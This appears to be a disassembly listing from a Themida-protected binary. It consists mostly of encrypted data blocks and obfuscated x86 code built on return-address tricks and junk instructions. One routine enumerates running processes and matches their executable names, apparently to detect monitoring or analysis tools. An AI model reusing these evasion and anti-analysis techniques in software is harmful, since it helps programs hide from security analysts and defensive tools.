		dd 6B44C044h, 0DC801C1Ch, 0B63A4DF7h, 0CA5D38AFh, 0BA4290F0h
		dd 5E62713Ah, 5C2BD102h, 26AE1238h, 0F35A9617h,	0CACABD07h
		dd 0EA98C212h, 77C51B93h, 7E2F010h, 219F34CEh, 296E943Dh
		dd 7FC212F3h, 570A7A55h, 3D3D0394h, 0E1646E12h,	12F96540h
		dd 0CB299A7Dh, 68639502h, 0DE821ED6h, 38484FF5h, 535B659Fh
		dd 6B07702Ah, 0A505CF63h, 5AC726F6h, 2C147E09h,	7B798350h
		dd 3893E5B2h, 0EEE51FB3h, 75416216h, 735CCA5Dh,	8F4733D1h
		dd 23BA8F75h, 0B14D8BC8h, 99FE04CDh, 0A52D0DCCh, 0FFBB737Ah
		dd 7C7C0BA7h, 29389C51h, 80CA5DEFh, 5DEF4D54h, 951DA6CAh
		dd 634BB70Ch, 1010435Bh, 9EE2F48Ch, 5CF50F35h, 80824D2Bh
		dd 25B49884h, 574009EBh, 0AE37346Eh, 0AB00CB2Bh, 0BB51E20h
		dd 0A3FCA6C3h, 0F6A19665h, 1DB8949Ch, 13319DE3h, 5CBC7E84h
		dd 9932D272h, 963E862Ah, 0B795A9BEh, 0D0CFF3BDh, 29CA5E0Ah
		dd 6D51EF98h, 9C25EF65h, 5DC02938h, 0A33182CAh,	752243E6h
		dd 577C49FBh, 637AD6D2h, 0CFE4DEA9h, 0DBCBE1F1h, 0C3F74584h
		dd 448C28D4h, 0BFC048C1h, 0B11FB587h, 0C80E601h, 809B5542h
		dd 9FC2624Ah, 0EEA0A34h, 0F4C341C3h, 15F15E7Dh,	7CB64529h
		dd 0D2725C78h, 9A2A9932h, 7D911F46h, 1BC2D5B8h,	0F6DC80C0h
		dd 1544494Eh, 67026EFFh, 0BA3AF403h, 6DD9A6F1h,	37000000h
		dd 9CCCF767h, 0C9CEA080h, 616E12D3h, 9C4B4E3h, 0A91A2AA4h
		dd 0D96A6307h, 0C022CE59h, 2BC9FA6Dh, 0AB87F5A2h, 61942423h
		dd 70174A5Fh, 5D9FD908h, 5CE4F0CAh, 0EE16BC98h,	0BCE4716h
		dd 9AF6AA3Eh, 5DA0372Eh, 7F854ECAh, 0BD06AC85h,	68D813CAh
		dd 43357C58h, 0E1A68DAAh, 0A60A349Fh, 5C7DE0Ah,	9320CA5Eh
		dd 0C6AA8604h, 8D8FF80Ch, 0E4606E12h, 8720h, 46FED8D5h
		dd 12AE25AEh, 241B4AAEh, 4C74CA5Eh, 5E2479A8h, 0D201D2CAh
		dd 932537C5h, 69A2A86h,	0CC425135h, 0EFCB6D1Ah,	84B923DFh
		dd 770EB64Eh, 0F3F2D6CDh, 4CCA5E15h, 0B53B4C77h, 0D25E6F63h
		dd 0A1A32E52h, 29EA0C33h, 0E6DD9CB5h, 182CA6CAh, 0C64453DCh
		dd 0C582DAEAh, 496B584Dh, 0C8A3F9BAh, 0C8CF04DEh, 36A0F8C2h
		dd 665DF60Eh, 6382664Ah, 0BCC25DE6h, 0B34989E7h, 310F7851h
		dd 9EC5318Dh, 0B5C25DE6h, 0FBC8EA18h, 1B22E48Ch, 0BAFCA58h
		dd 63AFB8E7h, 0FE38CFBAh, 3C852D06h, 0A34F6F4Bh, 0BA63AF7Ch
		dd 160DB9D5h, 6FBA63AFh, 0C70F7162h, 0D26E863Dh, 742321AEh
		dd 63AEE1FCh, 2ED600BAh, 1329AAD6h, 0F0EB62F1h,	0ABF3A363h
		dd 3E9413BBh, 6F65EE06h, 83149680h, 6F3FFFDAh, 0FCE8139h
		dd 567F015Bh, 187F48ACh, 6F9F64F5h, 7054380Ah, 0BA640E71h
		dd 0F18EF9CAh, 72h, 4AAE122Bh, 0CA5E241Bh, 52385F74h, 72427E85h
		dd 9AC46829h, 51EF98DDh, 7EA5516Dh, 0D5CA5DCBh,	5DCAF2F1h
		dd 3C764BCAh, 59582067h, 90CA5DCBh, 0CB99C82Ch,	0E1F2CA5Dh
		dd 6B640CB6h, 963F1BD9h, 14BF886Ch, 4E5D01BFh, 25AE5481h
		dd 0DAEAC672h, 10C6D2FBh, 5282130Eh, 0D40320DFh, 516898FFh
		dd 5C75D9D7h, 8D31E1A6h, 385FE5F1h, 8C47h, 0C2124500h
		dd 3B1C6721h, 0CFE8954h, 46FCD52Bh, 0ECAF25AEh,	3438011Ah
		dd 0C19D23B0h, 0F319C15h, 206740C4h, 0F3E07C20h, 9B28DCF6h
		dd 0FDB2B115h, 0B60BCA5Dh, 0FD0427D1h, 2743CA5Dh, 350592ACh
		dd 3C87BD19h, 47C1D874h, 801C8040h, 5DFD4D54h, 531DA6CAh
		dd 0BBBDCA44h, 537BDF2Ch, 6E7A53B1h, 0CA5DFD77h, 43C1438Eh
		dd 357B486Ah, 5DFD9291h, 0EDD6EBCAh, 0E4FBE7C3h, 3DCA5DFCh
		dd 79A84C74h, 0D2CA5DFDh, 34FC9601h, 1483BD18h,	3E1D100h
		dd 12CB0000h, 0A8CBADC2h, 1864B60h, 0B1152D09h,	0CA5E03B2h
		dd 0A30DB60Bh, 2C4DB07h, 411DCA5Eh, 0BC956F95h,	129C8007h
		dd 9A859FC2h, 0A7D4433h, 0BFEC672h, 3CDB9EB4h, 405F832Dh
		dd 99CA5DEBh, 129D7F08h, 241B4AAEh, 5F74CA5Eh, 208D4838h
		dd 0A33A8AB2h, 0D41BAE29h, 1216764Dh, 0B6E1636Eh, 1E4C545Ch
		dd 0C1190DB3h, 121EFE89h, 20E4606Eh, 2C0D0087h,	20089579h
		dd 956F913Ch, 9A2CCBBCh, 68000000h, 0E1636E12h,	5FD8A23h
		dd 44FED931h, 698D318Fh, 0CA5E243Ah, 43593E93h,	0DF656E12h
		dd 3DFB8C25h, 8A993D61h, 0E3CA5E24h, 302FC9CEh,	87CA5E24h
		dd 24A0BF23h, 0CBF7CA5Eh, 0CA5E23D4h, 951EA42Dh, 735E7E3Fh
		dd 0C7D0C334h, 517FA7FBh, 4FF111A4h, 74603C84h,	0CA5D976Dh
		dd 0A698DFD8h, 0A909F6C7h, 12AD6F18h, 81C2128Ah, 5DA77CA3h
		dd 87166235h, 6E12FF8Dh, 861FE55Fh, 0F7534701h,	0A07423DDh
		dd 0DF656E12h, 0B0C7B8h, 85E90000h, 733BB94Bh, 0ABA39E06h
		dd 0ABDCE723h, 57C212E9h, 9B735241h, 0A03AAE4Eh, 74C95634h
		dd 3F57DF23h, 72928C1Bh, 0C4100FD9h, 5869CA5Dh,	0A829456Bh
		dd 120F0592h, 405B45C2h, 0E793183h, 0E6F28E32h,	0A0BF395Eh
		dd 0F7CA5E08h, 3EB419A7h, 48288E16h, 1A1077B1h,	84133779h
		dd 0B6E16A8Ah, 0BEC212E6h, 0A7D7B918h, 0A408B8DFh, 89F0AC8h
		dd 663FC50Eh, 5136CE0Ah, 616E124Bh, 0AB94390h, 4A3661EAh
		dd 98AC26B3h, 0AA52805Ch, 0BE06AA19h, 7B6AED57h, 0A272253Ah
		dd 7D9C212h, 511973D4h,	821E8246h, 0B153F1DEh, 48D1D018h
		dd 992ACA5Dh, 6E122EEEh, 0C5B3E460h, 192BA50Ah,	2DD7FFDBh
		dd 0E7832D96h, 233056EFh, 0CDDF7113h, 568B91F6h, 3CC8066Ah
		dd 6E12494Bh, 0CDB5E262h, 1F25AE0Eh, 39774CE5h,	6179B869h
		dd 337D77C5h, 5D88908Fh, 0AFD8E9CAh, 9DC212EDh,	768E440Fh
		dd 981FB57Eh, 4FBBCCD8h, 5F6E124Bh, 23FF26D2h, 4B58CA5Eh
		dd 1FFE0F78h, 51089579h, 53A2A32Dh, 1B5B8EBEh, 0EE91F6CDh
		dd 8Ch,	0A1A32E52h, 6E1226F6h, 0CDB5E262h, 2321AE0Eh, 117B48E1h
		dd 1D2AE12h, 0A85A75FBh, 240A19DFh, 0FB63CA5Eh,	0FAD331D3h
		dd 7483E7C9h, 12C7CDBAh, 24E0646Eh, 58EAE58Bh, 0B484139Ch
		dd 4DC212B4h, 2BC248DFh, 31A1DFA8h, 21E31DB8h, 54ECE888h
		dd 4AC17B0h, 760967BCh,	8BFC665Ah, 4BC21289h, 0AF4F469Dh
		dd 1E824651h, 17FDB496h, 42557211h, 2C21252h, 0CE2BFDE5h
		dd 0B3ABCCBBh, 0D000000h, 4B876071h, 497A53B1h,	9F7522ABh
		dd 0E55F6E12h, 901861Fh, 0B7AE1A32h, 0CECA5E24h, 0F2C20004h
		dd 9AC3411h, 378C3775h,	0B2B11579h, 0BCA5DFDh, 12CBD1B6h
		dd 962D9BC2h, 0DBAC1F4Ah, 339DC1DDh, 9B47F311h,	0CA5D9984h
		dd 98FFD4DDh, 5D98C1E0h, 7D8818CAh, 0BD6BE471h,	144C5E29h
		dd 5D91B1B0h, 0AB90ACAh, 0C7DE0AA6h, 20CA5D90h,	12100493h
		dd 22E2626Eh, 0A569F8Ah, 15BE4954h, 12B6B682h, 0B2E55F6Eh
		dd 2AA50CC6h, 8053DC18h, 8EB61C40h, 0EAAADD76h,	1B4AAE12h
		dd 74CA5E24h, 2C90385Fh, 243D6490h, 0FA96CA5Eh,	5E23D7CEh
		dd 30A330CAh, 0AE123567h, 5E241B4Ah, 215F74CAh,	0DC758FB5h
		dd 200CDABh, 5B0CF6BEh,	6E5759AFh, 0DB31907Eh, 0B7E0F374h
		dd 0FE0D714Dh, 49587C44h, 0A2CA5DD7h, 0F0F28611h, 0DCA5DD6h
		dd 97C341C3h, 1C20B23Fh, 80844FD8h, 0B5A138B1h,	0CB80755Fh
		dd 0F092418Eh, 8FA22C50h, 5D653C63h, 0B70C95CAh, 66D615D0h
		dd 6433C90Ah, 2789BB14h, 7C788A43h, 8A26E4B3h, 65A3C226h
		dd 54FCCA5Dh, 0A12ACA7Ah, 122F6532h, 23E1636Eh,	0D2FBFD8Ah
		dd 0EEFDF2DDh, 0CCF7D034h, 3D21FDF7h, 0BD966E94h, 1FE51FB3h
		dd 0D6FF0186h, 0C242F8D9h, 7AD6DAE9h, 854EA65Eh, 2CB96A12h
		dd 83804DADh, 22FDDC80h, 9F21B289h, 0A5F22CBBh,	816549E5h
		dd 0CA5D5E62h, 9E20ADCDh, 0E5CD647Bh, 5B45ABDCh, 0F8CA5DB6h
		dd 4CD27E1h, 428DF1CFh,	0D8B6D7C0h, 0F8059503h,	0D44E6A8h
		dd 0C2D53165h, 0FFFBAA35h, 6E122FFFh, 40B8DF65h, 0CA5E241Dh
		dd 4DF7E07Ch, 252BB63Ah, 268ACA5Eh, 5E24A3C2h, 0E0A7FCCAh
		dd 5E240818h, 248699CAh, 0C9E5CA5Eh, 5E24061Dh,	45525FCAh
		dd 5E24B0ABh, 626B0FCAh, 1E41B7E0h, 7D8A5E24h, 0FABED935h
		dd 185181C6h, 3DE4F0E9h, 768CFBC4h, 0B64E84E4h,	625E753Eh
		dd 6730D4FEh, 20BF6D59h, 3C84125Bh, 0CD39712Ah,	0F8C2D565h
		dd 0E352C98h, 458E0260h, 6A8E328Eh, 2600E3Bh, 0AC583F94h
		dd 0CE636C10h, 600DFB2Ah, 547F5402h, 7C5917B0h,	0EFC9C1C6h
		dd 0FF053F97h, 37139D26h, 8533649Eh, 788A4529h,	0CE4B37Ch
		dd 0A5A12C2h, 0E8F7DBBFh, 41FA6608h, 96A795Dh, 0EEC3FA66h
		dd 0A808B2E5h, 0FDF709C4h, 99DC434h, 1AB4FA66h,	0C8FBC8EAh
		dd 0AA3756D9h, 38257F8Eh, 5E3h,	0F80A32A2h, 0F022DAF8h
		dd 0D33FF910h, 0E61C26ABh, 0CA38CC0Ah, 5C7ADAFCh, 0BA165AA8h
		dd 5F78788Ah, 46916DA5h, 3D8346BCh, 5DB88A99h, 7181E3C2h
		dd 0E55F6E12h, 41A6FEFh, 8512A094h, 7E535873h, 0CDB10FC4h
		dd 2A030103h, 0FBBD9F5Dh, 0B70D379Bh, 178E9D89h, 763A89D6h
		dd 5443F9DAh, 0C5128064h, 0B909D25Dh, 8A74456Bh, 159B285Ch
		dd 32659F39h, 98B4D8D8h, 2801033Dh, 5CC3A1C0h, 0DEA9FAC2h
		dd 5CC3071Ah, 0C80A66C2h, 90F7D034h, 4F88E07Ah,	0FEA21EB5h
		dd 0F113BEA2h, 0B7AE3A13h, 10C25CC3h, 621CD4C3h, 0FFCA5D1Bh
		dd 0BACD775Bh, 4F41B400h, 9F6EE960h, 45AEB521h,	0BA07BA5Ch
		dd 0D717A709h, 0C5B61C79h, 0C9A59304h, 100AA10Eh, 0B6F4FC3h
		dd 2E4A3DC7h, 7B1FA1A3h, 5C5A4857h, 7010A1BAh, 921BD963h
		dd 0BF9B7705h, 0CFA9EE28h, 0BA5C59D4h, 708A4723h, 5555E327h
		dd 417ED89Dh, 0C000D3D2h, 50E6EF0h, 0BBCC044Ch,	11BDA1FDh
		dd 8ECCA4F3h, 73C25CE7h, 5346FFD7h, 0B54B564Ch,	0D55E962Dh
		dd 7C58F8C2h, 5C6740C4h, 0BA143854h, 0B4475E8Ah, 13A0B25Ch
		dd 3D98B484h, 6AEFEB04h, 45113E66h, 14CE9EB3h, 0A020B320h
		dd 14F010BCh, 2BE4C3Bh,	0F82B3A9Eh, 2F84B25Ch, 83BD1868h
		dd 8CB6213Dh, 4CB8DF68h, 3DC70C70h, 61A9EEB7h, 0EE77D3D7h
		dd 0D6FFF754h, 63712F8Fh, 1DA71EEBh, 9176B625h,	20A0336Ch
		dd 5CB462B4h, 0A22B4FBAh, 234BF7A0h, 7E5A9A94h,	7750B450h
		dd 6B7D774Ch, 0A45E79CDh, 512D912Fh, 0B17A7A80h, 5C031847h
		dd 376071AAh, 5D892589h, 0AA5C0346h, 0EB85129Fh, 0B25C5B55h
		dd 120C4ECh, 5AA25BAAh,	6E367A49h, 0DAF9A746h, 83356253h
		dd 405F8327h, 99A25BD7h, 56817F08h, 10C37959h, 34F320B0h
		dd 68B3B216h, 0B70CA25Bh, 0E40D740Dh, 0BC1757B3h, 8945A22Fh
		dd 23AC487Bh, 606C10B0h, 2F8C24E0h, 95AB9E9Ah, 43C1C6FDh
		dd 24DEF357h, 0B84047E0h, 0A25BF7A5h, 0BC4A804h, 0C632FBF9h
		dd 0A25BC39Fh, 0C2D3D2F6h, 972CA25Bh, 901861Bh,	42FCD72Fh
		dd 814B2F91h, 579DA72Ch, 0A69205CEh, 0DC68660Ah, 6F913C18h
		dd 8007BC95h, 5C1B9AF8h, 0E0ED91AAh, 0BA09A262h, 0C67E5AF6h
		dd 8AF2A52Eh, 13BD2AEh,	0C303E6D3h, 0A4F3B5F7h,	0BCD0DC5Eh
		dd 0A769934Bh, 0B319B0C6h, 0F7CCC8B0h, 83DCE4CCh, 811A52E3h
		dd 3195A3F4h, 0A2561CCFh, 0C273E4ECh, 69F54F32h, 0FC90241Eh
		dd 0C2F253C2h, 9FD8CBCFh, 0A38E935h, 0EB2FF9C4h, 0FFD4FF27h
		dd 0AEE1D1B2h, 0CFAC04F6h, 327h, 0AC56EEE6h, 0CF60EC4h
		dd 0A75BD5E4h, 22F00AC7h, 0BE54F0DEh, 6866EE18h, 8E4A26DCh
		dd 6B648C76h, 8A4529D9h, 1BF8A78h, 5DB5CED5h, 4D4D27C2h
		dd 1B4AAE12h, 74CA5E24h, 953EC60Ch, 0DE3A0002h,	3E8251F3h
		dd 0C70B2476h, 0A5F2800Eh, 7953F793h, 80512DC7h, 22B17A7Ah
		dd 0B95FB75h, 268AD25Eh, 5D5AA3C2h, 0E0A7FCC2h,	0B1ABEE2h
		dd 64C25D5Ah, 603C844Fh, 5D5A6D74h, 10FEC6C2h, 0AE08A38Dh
		dd 7C088F44h, 0FFA510A0h, 0D43F46FCh, 0DDF9BFC3h, 5DC3EAF9h
		dd 656E43C2h, 29D3FF5Bh, 1C76625Eh, 1BCA57E3h, 9F659F33h
		dd 0D9536A06h, 7041921Bh, 0CEAC9A89h, 6C07F44Ch, 2B000002h
		dd 87679BA5h, 1D61B14Bh, 827E948Eh, 1757AB51h, 0C78D85BFh
		dd 0EB19B59Fh, 43FDD717h, 1C26AFCFh, 35CF0AE6h,	22C6FADDh
		dd 0C25DB503h, 12FAFA5Ch, 0B6E1636Eh, 210606D4h, 7D875048h
		dd 6826AE77h, 9719AA87h, 0CE81AB3h, 80645443h, 0D25D8F1Ah
		dd 0D24C5BFFh, 0AB179932h, 0C25CDDB4h, 0E7D3C40Dh, 0DD041BC7h
		dd 0B71BC25Ch, 0E4DE678Dh, 0E0BC04CFh, 5CDCEDF4h, 0A7D46C2h
		dd 0B94B8672h, 0C67853F7h, 0F2DBA52Eh, 0E3CB4750h, 1FB54F87h
		dd 0FAEB64B6h, 9FE1A68Eh, 0CAA60A34h, 3911F309h, 24F9DFF0h
		dd 7017AC0Dh, 0B5442814h, 64F60C7Bh, 0D8F55957h, 7A8A462Ah
		dd 0EB8F2B0Dh, 0F9A55FE1h, 5CC1D6CDh, 31A22FC2h, 0C23C638Fh
		dd 0C95C25Ch, 1A4BF57Bh, 84E8CA5Dh, 0F4CEB94Bh,	9ED2E7E0h
		dd 0D9EAF198h, 0ECE98529h, 6B159E56h, 0C9B7E062h, 0B1CDF309h
		dd 4FD81C26h, 17A6CA48h, 119BBE1Eh, 842CB8D4h, 5CA24160h
		dd 0BA099ABAh, 0C3795AF6h, 167A36D4h, 5CA2B3B2h, 0B9B70CBAh
		dd 430CE822h, 42AF2454h, 0BD966E96h, 8A1AAA06h,	0E922D552h
		dd 39F59502h, 87BD15h, 922ED600h, 0A262E2EEh, 0EC147E09h
		dd 3AC40FE2h
		dd 0DEE2F1BAh, 0A40F16C2h, 5B68BA5Ch, 0BEE2DE2Ch, 85C0E2F6h
		dd 0D52367A3h, 0BA5D06CEh, 0BED9A27h, 63DDECC1h, 0F5BB08A1h
		dd 40C47E59h, 6C88B814h, 0EBA7F0E3h, 0E9E5CA03h, 11BD995Bh
		dd 0CDF3E0F3h, 0D91B21B1h, 3A446151h, 458E8584h, 94F8B852h
		dd 5CB83130h, 4E398ABAh, 8F4AA732h, 0DB68F75h, 0DE0BC7A3h
		dd 5CB7EBFAh, 646F44BAh, 0E61EB4A0h, 98E450Eh, 0BF1DA589h
		dd 0B1CA1000h, 4F897720h, 0DDECBAB6h, 0C1BFAFEFh, 4009EB11h
		dd 9DA52D93h, 7576DE4Eh, 0EBD33F48h, 6A65428Fh,	40931CD8h
		dd 0A4A53357h, 2DEC941Ch, 0E552F94Bh, 0C6AA06B2h, 21FDF70Dh
		dd 5C47AEB5h, 9BA07BAh,	47243BA7h, 347DBA5Ch, 9FF38D63h
		dd 0EC90C25Ch, 9A262E2h, 80DCC47Eh, 7E47AD57h, 5BEF6B7Ah
		dd 0E5EFC4B2h, 9A42EB81h, 0C53F94F3h, 0A65C75D9h, 0D7FB854Eh
		dd 99FEC72Dh, 0EED26C67h, 9F44DCE6h, 522E1DFAh,	7F0B7C80h
		dd 0E8F7DBBFh, 0FFB25B8Dh, 2CB29D3h, 53A4F3C0h,	0Fh, 0F18D3391h
		dd 95685CE6h, 37823C86h, 0D2150790h, 0DEFAFA02h, 0C7B351F3h
		dd 0E410F40Eh, 0C09C58E8h, 0EA16EE16h, 0C09C58ECh, 0EF0BE913h
		dd 0BAA65ED8h, 7220E418h, 815F5457h, 4C7h, 4EF8300h, 5C243C87h
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 8682414h
		dd 89000059h, 0EC832434h, 241C8904h, 2229B3BBh,	715ABA2Dh
		dd 0DA312522h, 348B545Bh, 4C48124h, 68000000h, 2AE5h, 81241489h
		dd 30882434h, 468F7D3Ah, 8768108h, 7D3A3088h, 5E2434FFh
		dd 0FF04C483h, 815A2434h, 4C4h,	0C2AE900h, 49B6FFFAh, 65E858B4h
		dd 874A0311h, 8C29AA18h
; ---------------------------------------------------------------------------


loc_608DC4:				; CODE XREF: Themida_:006073CAj
		mov	eax, 8007238h
		add	eax, ebp


loc_608DCB:				; CODE XREF: Themida_:loc_6073C5j
		mov	eax, ebx
		lea	ecx, [ebp+8007381h]
		pusha
		mov	ax, si
		popa
		mov	[ebp+7FA27C1h],	ecx
		push	0
		push	esi
		call	sub_608DE9
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_608DE9	proc near		; CODE XREF: Themida_:00608DE1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_608DE9	endp

; ---------------------------------------------------------------------------
		dec	edi
		ror	bl, 1
		test	dl, al
		mov	dword ptr [ebp+7FA1C01h], 70B8h
		push	0
		push	ecx
		call	sub_608E13
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_608E13	proc near		; CODE XREF: Themida_:00608E0Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_608E13	endp

; ---------------------------------------------------------------------------
		db 0E2h
		dd 0F3FD09D8h, 0C7514F53h, 0FA1AED85h, 7, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 0C9DB116Dh, 0B3CA29B0h, 0F081B559h, 7E5E8AD6h, 5EDB5FFh
		dd 95FF07FAh, 7FA177Dh,	0C8F0Fh, 8F0F0000h, 6, 810Fh, 6A0000h
		dd 12D95FFh, 0C08B07FAh, 0B8E73AEBh, 0F016F08h,	9FC65BA7h
		dd 0D6612EDh, 6AA7781Dh, 93998E26h, 995C92AAh, 0EDF2B8E1h
		dd 5EE64707h, 5BC109A4h, 20444428h, 0C6092352h,	0F2D1492Dh
		dd 9E04834Ch, 0AE9DD091h, 0C4E9h, 0C840F00h, 0F000000h
		dd 687h, 810F00h, 8D000000h, 73FAB5h, 0B9666008h, 8D61DF34h
		dd 0FDDFEE85h, 0CB8A6007h, 890F53h, 5F000000h, 0F9D0FF61h
		dd 8C66FCC3h, 0BF6660D9h, 0EE908EEh, 2A000000h,	0AD306F31h
		dd 12566BF5h, 75C5B161h, 0C1F66142h, 62840F04h,	60000000h
		dd 2DC68060h, 4870F61h,	66000000h, 615FC6B8h, 14E9h, 0C843700h
		dd 0F395B8CAh, 99DFE30Bh, 690D7A12h, 657289E5h,	8BFB8B13h
		dd 0AEC032CBh, 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h
		dd 1013F20h, 74C00B00h,	0C708D18h, 0CB8BFA8Bh, 490A75A6h
		dd 1B8FA75h, 0EB000000h, 0EB008B09h, 0B8E4h, 0FCCF0000h
		dd 6185C7FCh, 3F080074h, 0E9000101h, 13Ch, 4Fh dup(0)
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7FA11B5h], 1
		jz	loc_609542
		push	0
		push	esi
		call	sub_6090F0
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6090F0	proc near		; CODE XREF: Themida_:006090E8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_6090F0	endp

; ---------------------------------------------------------------------------
		imul	ecx, [edx+25h],	0B2705D92h
		lea	esp, [edx-3Ah]
		test	[ecx+15h], esi
		cli
		pop	es
		inc	ebx
		jns	loc_60912F
		jmp	loc_60912F
; ---------------------------------------------------------------------------
		db 34h
		dd 616DDF17h, 4D7C29FAh, 41FA49E4h, 19878115h
		db 38h,	88h, 0BEh
; ---------------------------------------------------------------------------


loc_60912F:				; CODE XREF: Themida_:00609110j
					; Themida_:00609116j
		push	0E1458BE9h
		jmp	loc_609141
; ---------------------------------------------------------------------------
		db 38h,	52h, 6Bh
		dd 44F8F265h
; ---------------------------------------------------------------------------
		xchg	eax, esp


loc_609141:				; CODE XREF: Themida_:00609134j
		xor	dword ptr [esp], 0DE05B1Ch
		push	0
		push	esi
		call	sub_609153
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_609153	proc near		; CODE XREF: Themida_:0060914Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_609153	endp

; ---------------------------------------------------------------------------
		db 7
		dd 0B5F0F4D8h, 8C0F8968h, 5, 0D3F28060h, 0B5FFF561h, 7FA1E8Dh
		dd 19880Fh, 0F5600000h,	10E8h, 0C0A97700h, 0CBC26C0Fh
		dd 0F092B60Eh, 5BEFC63h, 60615F32h, 0BAFFBF0Fh,	20B9D59Dh
		dd 58858D61h, 0E907FE3Ah, 9, 449F676Bh,	34EA91Dh, 7860F59h
		dd 0F000000h, 186h, 0D0FFFC00h,	5E9h, 7F397900h, 8589D2B2h
		dd 7FA0975h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0CFC35141h, 8B6660CDh, 5E9FEh, 5D8F0000h, 61FABE6Bh
		dd 5E960h, 8C0000h, 61E0A71Eh, 157185C6h, 0F5007FAh, 18Dh
		dd 0C068F500h, 50AB1F5Ah, 60525052h, 0F310F61h,	80h, 0F585A00h
		dd 28A0F31h, 60000000h,	81585A61h, 0F7962434h, 60F803B2h
		dd 14BCBBFh, 9DBB6669h,	0B5FF61D1h, 7FA1E8Dh, 58858DFCh
		dd 0E907FE3Ah, 6, 8E9AA192h, 0D0FF1CC5h, 0ED8589FCh, 0F07FA03h
		dd 1284h, 0DE900h, 3E1F0000h, 99AED277h, 8EBF973h, 0E90D09C8h
		dd 8, 88D67061h, 8E11369Ch, 7F9DA768h, 0FBB460A9h, 810F56h
		dd 5F000000h, 24348161h, 59F03588h, 66C78B60h, 611781BFh
		dd 1E8DB5FFh, 0E96007FAh, 11h, 6CE9C0F3h, 0F06B9F14h, 49A834A2h
		dd 8344C586h, 10E97Ch, 877C0000h, 0F7FA2F2Ah, 0CD4019BFh
		dd 0B5B06591h, 8D612E28h, 0FE3A5885h, 0ECBF6007h, 6171E706h
		dd 2810F60h, 0B3000000h, 0D08B66ABh, 0E9D0FF61h, 8, 86CEB526h
		dd 0F20774Ch, 12E9h, 2FB9C600h,	0D52D213h, 99FB4ED1h, 0B4E1BDC6h
		dd 895BB830h, 0FA0A5985h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 737A608Bh
		dd 0E2878490h, 56603F18h, 85C66158h, 7FA1571h, 870FF950h
		dd 1, 2C2C68F9h, 8E987D0h, 2D000000h, 8045DCB4h, 81C1BE20h
		dd 0F07A2434h, 870F104Ch, 1, 0B5FFF5F9h, 7FA1229h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 98C35242h, 0C9806028h
		dd 1548B92Bh, 8D61609Bh, 0FA3B9385h, 188D0F07h,	0E9000000h
		dd 13h,	0E5D8CE2Fh, 0C31278F2h,	737A608Bh, 0E2878490h
		dd 0FF623F18h, 15820FD0h, 0E9000000h, 10h, 0F71A4944h
		dd 3CF1BF5Fh, 0D162FF12h, 0B1CBCBD5h, 210D8589h, 6E907FAh
		dd 63000000h, 0A6044B5Fh, 11880F26h, 0E9000000h, 0Ch, 5A7D3814h
		dd 0E942E0DAh, 84ABFC9Eh, 11DE9h, 860F6000h, 5,	0E4563FB9h
		dd 0F381667Ch, 50616E25h, 0C28B6660h, 6E9h, 0D4A5DA00h
		dd 610E941Bh, 0E9242C89h, 8, 0A45A3F00h, 0ABBD20D5h, 83F8EC8Bh
		dd 8B60FCC4h, 6061F5F3h, 0E8F5h, 815A0000h, 7966EAh, 0FC45C708h
		dd 0
; ---------------------------------------------------------------------------
		cmp	dword ptr [edx+7FA11B5h], 1
		jz	loc_60951D
		push	edx
		push	0
		push	0Fh
		call	dword ptr [edx+7FA0975h]
		pop	edx
		mov	[edx+8007498h],	eax
		lea	ebx, [edx+800749Ch]
		push	edx
		mov	dword ptr [ebx], 128h
		push	ebx
		push	eax
		call	dword ptr [edx+7FA03EDh]
		pop	edx


loc_6094AD:				; CODE XREF: Themida_:006094D7j
					; Themida_:0060950Bj
		push	edx
		lea	ebx, [edx+800749Ch]
		push	ebx
		push	dword ptr [edx+8007498h]
		call	dword ptr [edx+7FA210Dh]
		pop	edx
		or	eax, eax
		jz	short loc_609516
		lea	ebx, [edx+800749Ch]
		lea	edi, [ebx+24h]
		xor	ecx, ecx


loc_6094D1:				; CODE XREF: Themida_:006094E1j
		cmp	ecx, 104h
		jz	short loc_6094AD
		inc	ecx
		cmp	dword ptr [ecx+edi], 4558452Eh
		jnz	short loc_6094D1
		lea	esi, [ecx+edi]
		sub	esi, [ebp+0Ch]
		lea	edi, [edx+7FA21E9h]
		mov	ecx, [ebp+0Ch]
		rep movsb
		xor	al, al
		stosb
		push	edx
		push	dword ptr [ebp+8]
		lea	eax, [edx+7FA21E9h]
		push	eax
		call	dword ptr [edx+7FA0A59h]
		pop	edx
		or	eax, eax
		jnz	short loc_6094AD
		mov	dword ptr [ebp-4], 1
		jmp	short loc_60951D
; ---------------------------------------------------------------------------


loc_609516:				; CODE XREF: Themida_:006094C4j
		mov	dword ptr [ebp-4], 0


loc_60951D:				; CODE XREF: Themida_:0060947Fj
					; Themida_:00609514j
		popa
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		pusha
		mov	edi, 3D40A153h
		popa
		pusha
		mov	dx, cx
		jmp	loc_60953A
; ---------------------------------------------------------------------------
		db 3Ch,	63h, 68h
		db 0F7h, 1Dh
; ---------------------------------------------------------------------------


loc_60953A:				; CODE XREF: Themida_:00609530j
		popa
		jbe	loc_609542
		cmc


loc_609542:				; CODE XREF: Themida_:006090DFj
					; Themida_:0060953Bj
